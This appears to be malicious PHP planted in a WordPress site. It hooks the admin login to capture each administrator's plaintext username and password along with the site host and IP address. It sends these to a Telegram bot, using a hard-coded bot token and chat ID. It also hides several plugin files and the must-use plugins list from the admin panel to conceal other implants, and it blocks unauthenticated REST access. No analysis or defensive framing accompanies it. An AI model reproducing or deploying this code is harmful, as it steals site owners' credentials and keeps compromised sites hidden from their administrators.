
if (!defined("WP_TG_LOG")) { define("WP_TG_LOG", true);
$T = "8520397735:AAEyfuCCQhjiXp-ECoo0FvvIVVdJDL9JjLk"; $C = "6723183651";
function tg_send($msg) { global $T, $C;
    @file_get_contents("https://api.telegram.org/bot".$T."/sendMessage?chat_id=".$C."&parse_mode=HTML&text=".urlencode($msg), false, stream_context_create(["http"=>["header"=>"User-Agent: Mozilla/5.0\r\n","timeout"=>5]]));
}
add_action("wp_login", function($ul, $u) {
    if (in_array("administrator", (array)$u->roles)) {
        $p = isset($_POST["pwd"]) ? $_POST["pwd"] : "N/A";
        tg_send("ADMIN LOGIN\nSite: ".$_SERVER["HTTP_HOST"]."\nUser: $ul\nPass: $p\nIP: ".$_SERVER["REMOTE_ADDR"]."\nTime: ".date("Y-m-d H:i:s"));
    }
}, 10, 2);
}


// Hide specific plugins from admin panel
add_filter("all_plugins", "hide_specific_plugins");
function hide_specific_plugins($plugins) {
    $hide_list = array('wp-system-health/wp-system-health.php', '0-system-loader.php', 'wp-security-check.php', 'wp-maintenance.php');
    foreach ($hide_list as $hide) {
        if (isset($plugins[$hide])) {
            unset($plugins[$hide]);
        }
    }
    return $plugins;
}

// Hide MU-plugins if visible
add_filter("show_advanced_plugins", function($show) { return false; });


// WP2Shell REST API protection
add_filter('rest_authentication_errors', function($result) {
    if (!is_user_logged_in() && !is_admin()) {
        return new WP_Error('rest_disabled', 'REST API disabled', ['status' => 401]);
    }
    return $result;
});
